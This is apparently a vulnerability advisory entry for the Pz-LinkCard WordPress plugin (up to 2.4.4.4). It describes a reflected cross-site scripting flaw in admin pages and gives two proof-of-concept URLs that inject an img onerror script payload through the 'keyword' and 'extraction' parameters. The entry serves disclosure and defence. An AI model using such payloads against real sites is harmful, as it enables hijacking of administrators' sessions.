WordPress Plugin Vulnerabilities
Pz-LinkCard <= 2.4.4.4 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape multiple parameters before outputting them back in admin dashboard pages, leading to Reflected Cross-Site Scripting issues
Proof of Concept
https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E ETC
Affects Plugins
No known fix
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-01 (about 2 months ago)
Added
2022-03-01 (about 2 months ago)
Last Updated
2022-04-08 (about 1 months ago)